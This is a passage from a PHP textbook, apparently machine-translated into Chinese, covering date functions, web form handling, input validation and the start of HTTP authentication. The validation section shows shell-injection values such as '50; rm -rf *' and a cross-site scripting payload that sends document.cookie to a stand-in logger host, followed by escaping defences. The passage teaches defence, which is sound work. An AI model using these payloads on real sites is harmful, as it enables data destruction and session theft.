仅仅过了十年,网络已经开始看起来像一个包装工的办公室。文件到处都是,其中许多都是旧的、过时的,而且往往完全不相关。帮助访问者确定文档有效性的常见策略之一是在页面上添加时间戳。当然,手动这样做只会招致错误,因为页面管理员最终会忘记更新时间戳。然而,可以使用date()getlastmod() .来自动化这个过程。getlastmod()函数返回与执行的主脚本的最后修改时间相对应的时间戳,或者在出错的情况下返回FALSE。其原型如下:

int getlastmod()

如果将它与date() ,结合使用,那么提供关于页面上次修改时间和日期的信息是微不足道的:

$lastmod = date("F d, Y h:i:sa", getlastmod());
echo "Page last modified on $lastmod";

这将返回类似于以下内容的输出:

Page last modified on January 22, 2018 04:24:53am

getlastmod()函数查看处理请求的主脚本的最后修改时间。如果您的内容存储在一个数据库或一个单独的 HTML 文件中,只有当 PHP 文件被修改时,这个函数才会给出更新的日期和时间。您总是可以在数据库中存储一个修改时间,并随内容一起更新它来解决这个问题。

确定当月的天数

要确定当月的天数,请使用date()函数的t参数。考虑以下代码:

printf("There are %d days in %s.", date("t"), date("F"));

如果在四月份执行,将会输出以下结果:

There are 30 days in April.

确定任何给定月份中的天数

有时,您可能想确定某个月而不是本月的天数。单独使用date()函数是不行的,因为它需要时间戳,而您可能只有月份和年份。然而,mktime()功能可与date()结合使用,以产生所需的结果。假设您想确定 2018 年 2 月的天数:

$lastday = mktime(0, 0, 0, 2, 1, 2018);
printf("There are %d days in February 2018.", date("t",$lastday));

执行此代码片段会产生以下输出:

There are 28 days in February 2018.

从当前日期开始计算日期 X 天

确定未来或过去特定天数的精确日期通常很有用。使用strtotime()函数和 GNU date 语法,这样的请求是微不足道的。strtotime()函数不仅仅支持日期。它可以用来获取绝对或相对日期/时间的文本表示,并返回对应于该确切值的时间戳。假设您想知道 45 天后的日期,基于今天的日期 2018 年 1 月 21 日:

$futuredate = strtotime("+45 days");
echo date("F d, Y", $futuredate);

这将返回以下内容:

March 08, 2018

通过前置一个负号,您可以确定过去 45 天的日期(今天是 2018 年 1 月 21 日):

$pastdate = strtotime("-45 days");
echo date("F d, Y", $pastdate);

这将返回以下内容:

December 08, 2017

从今天(2018 年 1 月 21 日)算起 10 周零 2 天呢?

$futuredate = strtotime("10 weeks 2 days");
echo date("F d, Y", $futuredate);

这将返回以下内容:

April 04, 2018

日期和时间类

增强的日期和时间类提供了一个方便的面向对象的界面,还提供了管理不同时区的日期和时间的能力。虽然这个 DateTime 类也提供了一个函数接口,但是本节将重点介绍它的面向对象接口。

介绍 DateTime 构造函数

在使用DateTime class'特性之前,您需要通过 date 对象的类构造函数实例化它。这个构造函数的原型如下:

object DateTime([string time [, DateTimeZone timezone]])

DateTime()方法是类构造函数。您可以在实例化时设置日期,也可以稍后使用各种赋值函数(setters)来设置日期。要创建一个空的日期对象(将对象设置为当前日期),只需像这样调用DateTime():

$date = new DateTime();

要创建一个对象并将日期设置为 2018 年 1 月 21 日,请执行以下命令:

$date = new DateTime("21 January 2018");

您也可以设置时间,例如设置为晚上 9:55,如下所示:

$date = new DateTime("21 January 2018 21:55");

或者你可以这样设定时间:

$date = new DateTime("21:55");

事实上,您可以使用本章前面介绍的 PHP 的strtotime()函数支持的任何格式。关于支持的格式的其他例子,请参考 PHP 手册。

可选的timezone参数是指由 DateTimeZone 类定义的时区。如果此参数被设置为无效值或为空,将会生成 E_NOTICE 级别的错误,如果 PHP 被强制引用系统的时区设置,则可能会生成 E_WARNING 级别的错误。

格式化日期

为了格式化输出的日期和时间,或者方便地检索单个组件,可以使用format()方法。该方法接受与date()函数相同的参数。例如,要使用格式 2010-05-25 09:55:00pm 输出日期和时间,您可以这样调用format():

echo $date->format("Y-m-d h:i:sa");

设置实例化后的日期

一旦 DateTime 对象被实例化,就可以用setDate()方法设置它的日期。setDate()方法设置日期对象的日期、月份和年份,如果成功则返回TRUE,否则返回FALSE。其原型如下:

Boolean setDate(integer year, integer month, integer day)

我们把日期定在 2018 年 5 月 25 日:

$date = new DateTime();
$date->setDate(2018,5,25);
echo $date->format("F j, Y");

这将返回以下内容:

May 25, 2018

设置实例化后的时间

正如您可以在DateTime实例化之后设置日期一样,您也可以使用setTime()方法设置时间。setTime()方法设置对象的小时、分钟和秒,如果成功则返回TRUE,否则返回FALSE。其原型如下:

Boolean setTime(integer hour, integer minute [, integer second])

让我们把时间定在晚上 8 点 55 分;

$date = new DateTime();
$date->setTime(20,55);
echo $date->format("h:i:s a");

这将返回以下内容:

08:55:00 pm

修改日期和时间

您可以使用modify()方法修改DateTime对象。此方法接受与构造函数中使用的相同的用户友好语法。例如,假设您创建了一个值为May 25, 2018 00:33:00DateTime对象。现在您想将日期向前调整 27 小时,将其更改为May 26, 2018 3:33:00:

$date = new DateTime("May 25, 2018 00:33");
$date->modify("+27 hours");
echo $date->format("Y-m-d h:i:s");

这将返回以下内容:

2018-05-26 03:33:00

计算两个日期之间的差异

例如,计算两个日期之间的差异通常是有用的,以便为用户提供一种直观的方式来衡量即将到来的截止日期。考虑一个应用,其中用户支付订阅费来访问在线培训材料。一个用户的订阅即将结束,所以您想给他发一封提醒邮件,大意是“您的订阅将在 5 天后结束!立即续订!”

要创建这样的消息,您需要计算从今天到订阅终止日期之间的天数。您可以使用diff()方法来执行任务:

$terminationDate = new DateTime('2018-05-30');
$todaysDate = new DateTime('today');
$span = $terminationDate->diff($todaysDate);
echo "Your subscription ends in {$span->format('%a')} days!";

本节中描述的类和方法只涵盖了部分新的日期和时间特性,除了在前面的例子中使用了diff()方法。请务必查阅 PHP 文档以获得完整的摘要。

摘要

这一章涵盖了相当多的内容,首先概述了在典型的 PHP 编程任务中几乎每天都会出现的几个日期和时间函数。接下来是对古代日期赋艺术的一次旅行,在那里你学会了如何结合这些功能的能力来执行有用的时间任务。在本章的最后,我介绍了 PHP 面向对象的数据操作特性。

下一章关注的主题可能会激起你学习 PHP 的兴趣:用户交互性。我将通过表单进入数据处理,演示基本特性和高级主题,比如如何使用多值表单组件和自动化表单生成。

三十天有九月、四月、六月和十一月;

所有其他人都有 31 天,只有二月除外,它有 28 天,每个闰年有 29 天。

2

您实际上可以使用date()来格式化 Swatch 互联网时间。手表制造商斯沃琪( www.swatch.com )在网络热潮中创立了“互联网时间”的概念,旨在摒弃陈腐的时区概念,而是根据“斯沃琪节拍”设置时间毫不奇怪,维护斯沃琪互联网时间的通用基准是通过位于斯沃琪公司办公室的子午线建立的。

十三、表单

你可以随意使用一些技术术语,如关系数据库web 服务、会话处理LDAP ,但归根结底,你开始学习 PHP 是因为你想建立酷的、交互式的网站。毕竟,网络最吸引人的方面之一是它是双向媒体;网络不仅能让你发布信息,还提供了一种从同事、客户和朋友那里获取信息的有效手段。本章介绍了使用 PHP 与用户交互的一种最常见的方式:web 表单。总之,我将向您展示如何使用 PHP 和 web 表单来执行以下任务:

  • 将数据从表单传递到 PHP 脚本

  • 验证表单数据

  • 使用多值表单组件

在开始任何示例之前,让我们先介绍一下 PHP 如何接受和处理通过 web 表单提交的数据。

PHP 和 Web 表单

使 Web 如此有趣和有用的是它传播信息和收集信息的能力,后者主要是通过基于 HTML 的表单来完成的。这些表格用于鼓励网站反馈、促进论坛对话、收集在线订单的邮寄和账单地址等等。但是编写 HTML 表单只是有效接受用户输入的一部分;服务器端组件必须准备好处理输入。为此使用 PHP 是本节的主题。

因为你已经使用表单几百次甚至几千次了,所以本章不介绍表单语法。如果您需要关于如何创建基本表单的入门或复习课程,可以考虑查看网上的许多教程。

相反,本章回顾了如何结合使用 web 表单和 PHP 来收集和处理用户数据。

向 web 服务器发送数据和从 web 服务器接收数据时,首先要考虑的是安全性。浏览器使用的 HTTP 协议是纯文本协议。这使得服务器和浏览器之间的任何系统都可以读取并修改内容。特别是如果您正在创建一个收集信用卡信息或其他敏感数据的表单,您应该使用更安全的通信方式来防止这种情况。向服务器添加 SSL 证书相对容易,使用 LetsEncrypy ( https://letsencrypt.com )之类的服务就可以做到,而且不需要任何成本。当服务器安装了 SSL 证书时,通信将通过 HTTPS 完成,服务器将向浏览器发送一个公钥。该密钥用于加密来自浏览器的任何数据,并解密来自服务器的数据。服务器将使用匹配的私钥进行加密和解密。

将数据从一个脚本传递到另一个脚本有两种常用方法:GET 和 POST。虽然 GET 是默认的,但是您通常会希望使用 POST,因为它能够处理更多的数据,这是使用表单插入和修改大块文本时的一个重要特性。如果使用 POST,任何发送到 PHP 脚本的数据都必须使用第三章中介绍的$_POST语法来引用。例如,假设表单包含一个名为email的文本字段值,如下所示:

<input type="text" id="email" name="email" size="20" maxlength="40">

提交表单后,您可以引用文本字段值,如下所示:

$_POST['email']

当然,为了方便起见,您可以先将这个值赋给另一个变量,如下所示:

$email = $_POST['email'];

请记住,除了奇怪的语法之外,$_POST变量就像 PHP 脚本可以访问和修改的任何其他变量一样。他们只是以这种方式引用,以努力明确划分外部变量的来源。正如你在第三章中了解到的,这种约定适用于来自 GET 方法、cookies、会话、服务器和上传文件的变量。

让我们看一个简单的例子,演示 PHP 接受和处理表单数据的能力。

一个简单的例子

以下脚本呈现了一个提示用户输入姓名和电子邮件地址的表单。一旦完成并提交,脚本(名为subscribe.php)将这些信息显示回浏览器窗口。

<?php
    // If the name field is filled in
    if (isset($_POST['name']))
    {
       $name = $_POST['name'];
       $email = $_POST['email'];
       printf("Hi %s! <br>", $name);
       printf("The address %s will soon be a spam-magnet! <br>", $email);
    }
?>

<form action="subscribe.php" method="post">
    <p>
        Name:<br>
        <input type="text" id="name" name="name" size="20" maxlength="40">
    </p>
    <p>
        Email Address:<br>
        <input type="text" id="email" name="email" size="20" maxlength="40">
    </p>
    <input type="submit" id="submit" name = "submit" value="Go!">
</form>

假设用户完成两个字段并点击Go!按钮,将会显示类似如下的输出:

Hi Bill!
The address bill@example.com will soon be a spam-magnet!

在本例中,表单引用它所在的脚本,而不是另一个脚本。尽管这两种做法都被经常采用,但是参考原始文档并使用条件逻辑来确定应该执行哪些操作是很常见的。在这种情况下,条件逻辑规定,只有当用户提交了表单时,才会出现回显语句。

在将数据发送回它原来所在的脚本的情况下,就像前面的例子一样,可以使用 PHP 超全局变量$_SERVER['PHP_SELF']。执行脚本的名称会自动赋给该变量;因此,用它来代替实际的文件名将节省一些额外的代码修改,以防文件名以后发生变化。例如,前面示例中的<form>标记可以修改如下,但仍然会产生相同的结果:

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">

HTML 过去仅限于几种基本的输入类型,但是随着几年前 HTML5 的引入,这种情况发生了变化,增加了对颜色、日期、本地日期时间、电子邮件、月份、数字、范围、搜索、电话、时间、url 和星期的支持。这些都是可以与输入标记上的 type 属性一起使用的选项。他们将使用允许本地化和验证的特定浏览器逻辑。

仅仅因为浏览器现在支持一些输入验证,并不意味着您可以跳过 PHP 脚本中用于接收输入的部分。不能保证客户端是浏览器。最好不要相信进入 PHP 脚本的输入。

验证表单数据

在理想的情况下,前面的例子足以接受和处理表单数据。现实情况是,网站不断受到来自全球各地的恶意第三方的攻击,他们戳戳外部接口以获取访问、窃取甚至破坏网站及其附带数据的方法。因此,您需要非常小心地彻底验证所有用户输入,不仅要确保它是以期望的格式提供的(例如,如果您希望用户提供一个电子邮件地址,那么该地址在语法上应该是有效的),还要确保它不会对网站或底层操作系统造成任何损害。

本节通过展示开发者选择忽略这一必要保护措施的网站所经历的两种常见攻击,向您展示这种危险有多严重。第一种攻击导致有价值的站点文件被删除,第二种攻击通过一种称为跨站脚本的攻击技术劫持随机用户的身份。本节最后介绍了一些简单的数据验证解决方案,这些解决方案将有助于补救这种情况。

文件删除

为了说明如果忽略用户输入的验证,事情会变得多么糟糕,假设您的应用要求将用户输入传递给某种叫做inventory_manager的遗留命令行应用。通过 PHP 执行这样一个应用需要使用一个命令执行函数,如exec()system()(这两个函数在第十章中都有介绍)。inventory_manager应用接受特定产品的 SKU 和应该重新订购的产品数量的建议作为输入。例如,假设樱桃奶酪蛋糕最近特别受欢迎,导致樱桃迅速枯竭。糕点师可能使用该应用再订购 50 罐樱桃(SKU 50XCH67YU),导致对inventory_manager的调用如下:

$sku = "50XCH67YU";
$inventory = "50";
exec("/usr/bin/inventory_manager ".$sku." ".$inventory);

现在,假设糕点师因烤箱烟雾过多而变得神经错乱,并试图通过传递以下字符串作为建议的重新订购数量来破坏网站:

50; rm -rf *

这导致在exec()中执行以下命令:

exec("/usr/bin/inventory_manager 50XCH67YU 50; rm -rf *");

inventory_manager应用确实会按预期执行,但是会立即尝试递归删除执行 PHP 脚本所在目录中的每个文件。

跨站点脚本

前一个场景演示了如果不过滤用户数据,有价值的站点文件会多么容易被删除;然而,通过恢复站点和相应数据的最近备份,这种攻击造成的损害可能会被最小化,但是最好在一开始就防止它发生。

还有另一种类型的攻击更难恢复,因为它涉及到对信任您网站安全性的用户的背叛。这种攻击被称为跨站脚本,它包括将恶意代码插入其他用户经常访问的页面(例如,在线公告板)。仅仅访问该页面就可能导致数据传输到第三方的站点,这可能允许攻击者稍后返回并冒充不知情的访问者。为了演示这种情况的严重性,让我们配置一个欢迎这种攻击的环境。

假设一家在线服装零售商向注册客户提供在电子论坛上讨论最新时尚趋势的机会。由于该公司急于将定制的论坛上线,它决定跳过对用户输入的过滤,认为它可以在以后的某个时间点处理此类问题。因为 HTTP 是一种无状态协议,所以通常将值存储在浏览器内存(Cookies)中,并在用户与站点交互时使用这些数据。将大部分数据存储在服务器站点上,而在浏览器中仅将一个密钥作为 cookie 存储也很常见。这通常被称为会话 id。如果能够获得不同用户的会话 id,攻击者就有可能冒充其他用户。

一个不道德的客户试图检索其他客户的会话密钥(存储在 cookies 中),以便随后进入他们的账户。信不信由你,只需要一点 HTML 和 JavaScript 就可以做到这一点,它们可以将所有论坛访问者的 cookie 数据转发给驻留在第三方服务器上的脚本。要了解检索 cookie 数据是多么容易,请导航到一个流行的网站,如 Yahoo!或者 Google,并在浏览器 JavaScript 控制台(浏览器开发工具的一部分)中输入以下内容:

javascript:void(alert(document.cookie))

您应该会看到该站点的所有 cookie 信息都发布到一个 JavaScript 警告窗口中,如图 13-1 所示。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 13-1

显示访问 https://www.google.com 的 cookie 信息

使用 JavaScript,攻击者可以利用未经检查的输入,将类似的命令嵌入到网页中,然后悄悄地将信息重定向到能够将其存储在文本文件或数据库中的脚本。然后,攻击者使用论坛的评论发布工具将以下字符串添加到论坛页面:

<script>
 document.location = 'http://www.example.org/logger.php?cookie=' +
                      document.cookie
</script>

logger.php文件可能如下所示:

<?php
    // Assign GET variable
    $cookie = $_GET['cookie'];

    // Format variable in easily accessible manner
    $info = "$cookie\n\n";

    // Write information to file
    $fh = @fopen("/home/cookies.txt", "a");
    @fwrite($fh, $info);

    // Return to original site
    header("Location: http://www.example.com");
?>

如果电子商务网站没有将 cookie 信息与特定的 IP 地址进行比较(这种保护措施在决定忽略数据清理的网站上可能并不常见),攻击者所要做的就是将 cookie 数据组装成浏览器支持的格式,然后返回到从中挑选信息的网站。攻击者现在很有可能伪装成无辜的用户,可能进行未经授权的购买,破坏论坛,并造成其他破坏。

现代浏览器既支持内存 cookies,也支持仅 http cookie。这使得攻击者更难从注入的 JavaScript 访问 cookie 值。将会话 cookie 设置为 http-only 是通过将session.cookie_httponly = 1添加到 php.ini 文件来完成的。

净化用户输入

鉴于未经检查的用户输入可能对网站及其用户产生的可怕影响,人们会认为实施必要的保护措施一定是一项特别复杂的任务。毕竟,这个问题在所有类型的 web 应用中都很普遍,所以预防一定很困难,对吗?具有讽刺意味的是,防止这些类型的攻击实际上是一件微不足道的事情,首先通过几个函数之一传递输入,然后再用它执行任何后续任务。考虑如何处理用户提供的输入是很重要的。如果它作为数据库查询的一部分传递,您应该确保内容被视为文本或数字,而不是数据库命令。如果交还给用户或不同的用户,您应该确保内容中没有包含 JavaScript,因为这可能会被浏览器执行。

为此,有四个标准函数可用:escapeshellarg() , escapeshellcmd() , htmlentities()strip_tags()。您还可以访问本机过滤器扩展,它提供了各种各样的验证和净化过滤器。本节的剩余部分将对这些清理功能进行概述。

注意

请记住,本节(以及整个章节)中描述的安全措施虽然在许多情况下都有效,但只提供了许多可能的解决方案中的几个。因此,尽管您应该密切关注本章中讨论的内容,但您也应该确保阅读尽可能多的其他与安全相关的资源,以获得对该主题的全面理解。

网站由两个不同的组件构建而成:生成输出并处理用户输入的服务器端,以及呈现服务器提供的 HTML 和其他内容以及 JavaScript 代码的客户端。这种双层模式是安全挑战的根源。即使所有的客户端代码都是由服务器提供的,也没有办法确保它被执行或者不被篡改。用户可能不使用浏览器与服务器交互。出于这个原因,建议永远不要相信来自客户端的任何输入,即使您花时间用 JavaScript 创建了很好的验证函数,为遵循所有规则的用户提供了更好的体验。

转义 Shell 参数

escapeshellarg()函数用单引号分隔它的参数,并对引号进行转义。其原型如下:

string escapeshellarg(string arguments)

其效果是,当 arguments 被传递给 shell 命令时,它将被视为单个参数。这一点非常重要,因为它降低了攻击者将附加命令伪装成 shell 命令参数的可能性。因此,在前面描述的文件删除场景中,所有用户输入都应该用单引号括起来,如下所示:

/usr/bin/inventory_manager '50XCH67YU' '50; rm -rf *'

试图执行这将意味着50; rm -rf *将被inventory_manager视为请求的库存盘点。假设inventory_manager正在验证这个值以确保它是一个整数,那么调用将会失败,并且不会造成任何伤害。

转义外壳元字符

escapeshellcmd()函数在与escapeshellarg()相同的前提下运行,但是它清除潜在危险的输入程序名,而不是程序参数。其原型如下:

string escapeshellcmd(string command)

该函数通过对命令中的任何 shell 元字符进行转义来运行。这些元字符包括# & ; , | * ? ~ < > ^ ( ) [ ] { } $ \ \x0A \xFF`。

在用户输入可能决定要执行的命令名称的任何情况下,都应该使用escapeshellcmd()。例如,假设库存管理应用被修改为允许用户调用两个可用程序之一,foodinventory_managersupplyinventory_manager,分别传递字符串foodsupply,以及 SKU 和请求的数量。exec()命令可能如下所示:

exec("/usr/bin/".$command."inventory_manager ".$sku." ".$inventory);

假设用户遵守规则,任务将会很好地完成。然而,考虑一下如果用户将以下内容作为值传递给$command会发生什么:

blah; rm -rf *;
/usr/bin/blah; rm -rf *; inventory_manager 50XCH67YU 50

这假设用户也分别传入 50XCH67YU 和 50 作为 SKU 和库存编号。这些值无论如何都不重要,因为适当的inventory_manager命令永远不会被调用,因为一个假命令被传入以执行邪恶的rm命令。然而,如果首先通过escapeshellcmd()过滤这些材料,$command将看起来像这样:

blah\; rm -rf \*;

这意味着exec()将试图执行命令/usr/bin/blah rm -rf,当然这是不存在的。

将输入转换成 HTML 实体

htmlentities()函数将 HTML 上下文中具有特殊含义的某些字符转换成浏览器可以呈现的字符串,而不是作为 HTML 执行。其原型如下:

string htmlentities(string input [, int quote_style [, string charset]])

该函数将五个字符视为特殊字符:

  • &将被翻译成&

  • "将被翻译为&quot;(当quote_style被设置为ENT_NOQUOTES时)

  • >将被翻译成>

  • <将被翻译成<

  • '将被翻译为'(当quote_style被设置为ENT_QUOTES时)

回到跨站点脚本的例子,如果用户的输入首先通过htmlentities()传递,而不是直接嵌入到页面中并作为 JavaScript 执行,那么输入将完全按照输入的样子显示,因为它将被翻译成这样:

<scriptgt;
document.location ='http://www.example.org/logger.php?cookie=' +
                    document.cookie
</script>

从用户输入中剥离标签

有时最好是完全去除所有 HTML 输入的用户输入,而不管其意图如何。例如,当信息显示回浏览器时,基于 HTML 的输入可能特别成问题,就像留言板的情况一样。在留言板中引入 HTML 标记可能会改变页面的显示,导致页面显示不正确或根本不显示,如果标记包含 JavaScript,浏览器可能会执行该标记。这个问题可以通过将用户输入传递给strip_tags()来解决,它从一个字符串中移除所有标签(标签被定义为以字符<开始并以>结束的任何东西)。其原型如下:

string strip_tags(string str [, string allowed_tags])

输入参数str是将被检查标签的字符串,而可选输入参数 allowed_tags 指定您希望在字符串中允许的任何标签。例如,斜体标签(<i></i>)可能是允许的,但是像<td></td>这样的表格标签可能会对页面造成严重破坏。请注意,许多标签可以将 JavaScript 代码作为标签的一部分。如果标签被允许,则不会被移除。下面是一个例子:

<?php
    $input = "I <td>really</td> love <i>PHP</i>!";
    $input = strip_tags($input,"<i></i>");
    // $input now equals "I really love <i>PHP</i>!"
?>

使用过滤器扩展验证和净化数据

因为数据验证是一项非常普通的任务,所以 PHP 开发团队在 5.2 版本中为该语言添加了本地验证特性。称为过滤器扩展,您不仅可以使用这些新功能来验证数据(如电子邮件地址)以满足严格的要求,还可以清理数据,修改数据以符合特定的标准,而无需用户采取进一步的操作。

为了使用过滤器扩展来验证数据,您将从许多可用的过滤器和净化类型( http://php.net/manual/en/filter.filters.php )中选择一种,甚至可以选择编写自己的过滤器函数,将类型和目标数据传递给filter_var()函数。例如,要验证一个电子邮件地址,您需要传递FILTER_VALIDATE_EMAIL标志,如下所示:

$email = "john@@example.com";
if (! filter_var($email, FILTER_VALIDATE_EMAIL))
{
    echo "INVALID E-MAIL!";
}

FILTER_VALIDATE_EMAIL标识符只是当前可用的许多验证过滤器之一。表 13-1 总结了当前支持的验证过滤器。

表 13-1

筛选器扩展的验证功能

|

预定日期

|

标识符

|
| — | — |
| 布尔值 | FILTER_VALIDATE_BOOLEAN |
| 电子邮件地址 | FILTER_VALIDATE_EMAIL |
| 浮点数 | FILTER_VALIDATE_FLOAT |
| 整数 | FILTER_VALIDATE_INT |
| IP 地址 | FILTER_VALIDATE_IP |
| mac 地址 | FILTER_VALIDATE_MAC |
| 正则表达式 | FILTER_VALIDATE_REGEXP |
| 资源定位符 | FILTER_VALIDATE_URL |

您可以通过将标志传递给filter_var()函数来进一步调整这八个验证过滤器的行为。例如,您可以通过分别传入FILTER_FLAG_IPV4FILTER_FLAG_IPV6标志来请求只提供 IPV4 或 IPV6 IP 地址:

$ipAddress = "192.168.1.01";
if (!filter_var($ipAddress, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6))
{
    echo "Please provide an IPV6 address!";
}

查阅 PHP 文档以获得可用标志的完整列表。

用过滤器扩展净化数据

正如我提到的,还可以使用过滤器组件来净化数据,这在处理打算发布在论坛或博客评论中的用户输入时非常有用。例如,要从一个字符串中删除所有标签,可以使用FILTER_SANITIZE_STRING:

$userInput = "Love the site. E-mail me at <a href='http://www.example.com'>Spammer</a>.";
$sanitizedInput = filter_var($userInput, FILTER_SANITIZE_STRING);
// $sanitizedInput = Love the site. E-mail me at Spammer.

目前总共支持 10 个净化过滤器,总结在表 13-2 中。

表 13-2

过滤器扩展的净化功能

|

标识符

|

目的

|
| — | — |
| FILTER_SANITIZE_EMAIL | 从字符串中删除除 RFC 822 ( https://www.w3.org/Protocols/rfc822/ )中定义的电子邮件地址中允许的字符之外的所有字符。 |
| FILTER_SANITIZE_ENCODED | URL 编码一个字符串,产生与urlencode()函数返回的结果相同的输出。 |
| FILTER_SANITIZE_MAGIC_QUOTES | 使用addslashes()函数转义带有反斜杠的潜在危险字符。 |
| FILTER_SANITIZE_NUMBER_FLOAT | 删除任何会导致 PHP 无法识别的浮点值的字符。 |
| FILTER_SANITIZE_NUMBER_INT | 删除任何会导致 PHP 无法识别的整数值的字符。 |
| FILTER_SANITIZE_SPECIAL_CHARS | HTML 编码’、"、和&字符,以及任何 ASCII 值小于 32 的字符(包括制表符和退格等字符)。 |
| FILTER_SANITIZE_STRING | 剥离所有标签,如和**。** |
| FILTER_SANITIZE_STRIPPED | “字符串”过滤器的别名。 |
| FILTER_SANITIZE_URL | 从字符串中删除所有字符,除了 RFC 3986 ( https://tools.ietf.org/html/rfc3986 )中定义的 URL 中允许的字符。 |
| FILTER_UNSAFE_RAW | 与各种可选标志一起使用,FILTER_UNSAFE_RAW可以以各种方式剥离和编码字符。 |

与验证特性一样,过滤器扩展也支持各种标志,这些标志可用于调整许多净化标识符的行为。查阅 PHP 文档以获得支持标志的完整列表。

使用多值表单组件

多值表单组件(如复选框和多选框)极大地增强了基于 web 的数据收集能力,因为它们使用户能够同时为给定的表单项目选择多个值。例如,考虑一个用于评估用户对计算机相关兴趣的表单。具体来说,你想让用户指出他感兴趣的编程语言。使用几个文本字段和一个多选框,这个表单看起来可能类似于图 13-2 所示。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 13-2

创建多选框

图 13-1 所示多选框的 HTML 可能如下所示:

<select name="languages[]" multiple="multiple">
    <option value="csharp">C#</option>
    <option value="javascript">JavaScript</option>
    <option value="perl">Perl</option>
    <option value="php" selected>PHP</option>
</select>

因为这些组件是多值的,所以表单处理器必须能够识别可能有多个值被分配给一个表单变量。在前面的示例中,请注意两者都使用名称 languages 来引用几个语言条目。PHP 如何处理这个问题?也许不奇怪,把它看作一个数组。为了让 PHP 认识到可以将几个值赋给单个表单变量,您需要对表单项名称做一点小小的修改,在它后面加上一对方括号。因此,名字应该读作languages[],而不是语言。一旦重命名,PHP 将像对待任何其他数组一样对待提交的变量。考虑这个例子:

<?php
    if (isset($_POST['submit']))
    {
        echo "You like the following languages:<br>";
        if (is_array($_POST['languages'])) {
          foreach($_POST['languages'] AS $language) {
              $language = htmlentities($language);
              echo "$language<br>";
          }
      }
    }
?>

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
   What's your favorite programming language?<br> (check all that apply):<br>
   <input type="checkbox" name="languages[]" value="csharp">C#<br>
   <input type="checkbox" name="languages[]" value="javascript">JavaScript<br>
   <input type="checkbox" name="languages[]" value="perl">Perl<br>
   <input type="checkbox" name="languages[]" value="php">PHP<br>
   <input type="submit" name="submit" value="Submit!">
</form>

如果用户选择 C#和 PHP 语言,他/她会看到以下输出:

You like the following languages:
csharp
php

摘要

网络的最大优势之一是它使我们不仅能够传播,而且能够编辑和汇总用户信息。然而,作为开发人员,这意味着我们必须花费大量的时间来构建和维护大量的用户界面,其中许多是复杂的 HTML 表单。本章描述的概念应该能让你减少一点时间。

此外,本章还提供了一些改善应用一般用户体验的常用策略。虽然这不是一个详尽的列表,但也许本章提供的材料将作为一个跳板,让您进行进一步的实验,同时减少您在 web 开发中更耗时的方面(改善用户体验)投入的时间。

下一章将向您展示如何通过强制用户在进入之前提供用户名和密码来保护网站的敏感区域。

十四、认证您的用户

认证用户身份是一种常见的做法,这不仅是出于安全方面的原因,也是为了提供基于用户偏好和类型的可定制功能。通常,系统会提示用户输入用户名和密码,用户名和密码的组合构成了该用户的唯一标识值。在本章中,您将学习如何使用各种方法提示和验证这些信息,包括涉及 Apache 的 htpasswd 特性的简单方法,以及涉及将提供的用户名和密码与直接存储在脚本、文件和数据库中的值进行比较的方法。此外,您将了解如何使用一次性 URL 的概念来恢复丢失的密码。总之,本章的概念包括:

  • 基于 HTTP 的基本身份验证概念

  • PHP 的认证变量,即$_SERVER['PHP_AUTH_USER']$_SERVER['PHP_AUTH_PW']

  • 几个常用于实现认证过程的 PHP 函数

  • 三种常见的身份验证方法:将登录对(用户名和密码)直接硬编码到脚本中,基于文件的身份验证,以及基于数据库的身份验证

  • 使用一次性 URL 恢复丢失的密码

  • 使用 OAuth2 进行身份验证

HTTP 身份验证概念

HTTP 协议为用户身份验证提供了一种相当基本的方法,典型的身份验证场景如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

图 14-1

认证提示

  1. 客户端请求受限资源。

  2. 服务器用 401(未授权访问)响应消息来响应这个请求。

  3. 浏览器识别 401 响应,并弹出一个类似于图 14-1 所示的认证提示。所有现代浏览器都能够理解 HTTP 认证并提供适当的功能,包括 Google Chrome、Internet Explorer、Mozilla Firefox 和 Opera。

  4. 用户提供的凭证(通常是用户名和密码)被发送回服务器进行验证。如果用户提供了正确的凭证,则允许访问;否则就否定了。

  5. 如果用户通过验证,浏览器会将身份验证信息存储在其缓存中。此缓存信息将保留在浏览器中,直到缓存被清除,或者直到另一个 401 服务器响应被发送到浏览器。每次请求资源时,密码都会自动传输。现代身份验证方案将使用带有到期时间的令牌,而不是发送实际的密码。

尽管 HTTP 身份验证有效地控制了对受限资源的访问,但它并不保护身份验证凭据传播的通道。也就是说,精心策划的攻击者有可能嗅探或监视服务器和客户端之间发生的所有流量,这些流量中包含未加密的用户名和密码。为了消除通过这种方法进行破坏的可能性,您需要实现一个安全的通信通道,通常使用安全套接字层(SSL)或传输层安全性(TLS)来实现。所有主流 web 服务器都支持 SSL/TLS,包括 Apache 和 Microsoft Internet Information Server(IIS)。当使用安全层时,协议从 HTTP 变为 HTTPS。这将允许客户端和服务器在传输任何真实信息之前交换加密密钥。然后,这些密钥被用来加密和解密客户端和服务器之间的所有双向信息。

用阿帕奇的。htaccess 功能

一段时间以来,Apache 已经本机支持了一个身份验证特性,如果您的需求仅限于简单地为整个网站或特定目录提供全面保护,那么这个特性是非常合适的。根据我的经验,典型的用法是结合一个用户名和密码组合来阻止对一组受限文件或项目演示的访问;但是,可以将它与其他高级功能集成在一起,例如在 MySQL 数据库中管理多个帐户的能力。

您将通过创建一个名为.htaccess的文件并将其存储在您想要保护的目录中来利用这个特性。因此,如果您想限制对整个网站的访问,请将该文件放在您站点的根目录下。最简单的格式是,.htaccess文件的内容如下所示:

AuthUserFile /path/to/.htpasswd
AuthType Basic
AuthName "My Files"
Require valid-user

用指向另一个名为.htpasswd的必备文件的路径替换/path/to。该文件包含用户访问受限内容时必须提供的用户名和密码。这个文件应该放在网站使用的目录结构之外,以防止访问者直接访问它。一会儿,我将向您展示如何使用命令行生成这些用户名/密码对,这意味着您实际上不会编辑.htpasswd文件;然而,作为参考,典型的.htpasswd文件如下所示:

admin:TcmvAdAHiM7UY
client:f.i9PC3.AtcXE

每行包含一个用户名和密码对,密码经过哈希处理(使用哈希是内容的单向转换。不可能将散列变回原始内容)以防止偷窥者潜在地获得整个身份。当用户提供一个密码时,Apache 将使用最初用于加密存储在.htpasswd文件中的密码的相同算法散列所提供的密码,比较两者是否相等。

